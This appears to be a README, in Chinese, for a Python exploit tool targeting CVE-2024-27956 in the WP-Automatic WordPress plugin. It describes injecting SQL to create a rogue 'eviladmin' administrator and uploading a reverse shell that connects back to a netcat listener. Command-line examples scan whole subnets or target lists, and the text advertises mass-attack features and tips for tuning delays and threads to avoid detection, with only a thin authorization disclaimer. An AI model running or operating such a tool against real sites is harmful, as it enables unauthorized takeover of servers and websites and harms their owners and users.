WordPress Auto Admin Account and Reverse Shell cve 2024 27956

WordPress管理帐户创建和反向外壳（CVE-2024-27956）

此Python脚本自动化了在WordPress站点中创建新的管理员帐户并在目标服务器上执行反向外壳的过程。它利用WP-Automation插件的CSV注入漏洞在WordPress数据库上执行SQL查询并获得管理访问。

更新？‍♀️

添加了核模板

添加更多支持大规模攻击目标的方法

添加多个目标支持

通过扫描仪基础IP或TXT文件添加自动查找目标

如何使用

• 假设您拥有适当的授权来测试目标系统，则是一些更高级的示例，说明您如何使用脚本。

1. 扫描子网：如果要扫描一个子网中的易受伤害的WordPress安装，则可以使用--subnet选项。例如：

    python wp-automatic-exploit.py --subnet 192.168.1.0/24 --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 1.0
   

   此命令将扫描具有弱势WP自动插件的WordPress网站的192.168.1.0/24子网，并尝试使用提供的侦听器设置来利用它们。

2. 自定义延迟：可以使用--delay选项调整请求之间的延迟。较高的延迟可能有助于避免检测或限制限制，而较低的延迟可以加快剥削过程。例如：

    python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 2.5
   

   此命令将在请求之间使用2.5秒的延迟。

3. 使用远程侦听器：如果您的侦听器是在远程计算机上设置的，则可以使用--lhost and --lport选项指定其IP地址和端口。例如：

    python wp-automatic-exploit.py --targets targets.txt --lhost 192.168.1.100 --lport 8080 --threads 10 --delay 1.0
   

   此命令将在192.168.1.100:8080连接回侦听器。

4. 增加线程的数量：您可以将脚本使用的线程数与the --threads选项增加。这可以加快剥削过程，但也可能会增加检测的可能性或引起限制速率的问题。例如：

    python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 20 --delay 1.0
   

   此命令将使用20个线程进行开发。

先决条件

• Python 3.x
• requests库（通过pip install requests安装）
• NetCat（用于设置侦听器以连接到反向外壳）

用法

1. 用目标WordPress站点的URL替换脚本中的domain变量。
2. 运行Python脚本。
3. 执行脚本后，它将创建一个名为eviladmin的新管理用户，设置密码并分配管理特权。
4. 然后，它将在目标服务器上上传并执行反向外壳有效载荷。
5. 设置NetCat侦听器，使用指定的端口连接到反向外壳。

注意：在运行此脚本之前，请确保您拥有适当的授权和权限，因为如果被滥用，它可能会导致安全漏洞和法律后果。

免责声明

此脚本仅用于教育和测试目的。作者对此脚本的任何未经授权或非法使用不承担任何责任。使用它自己的风险。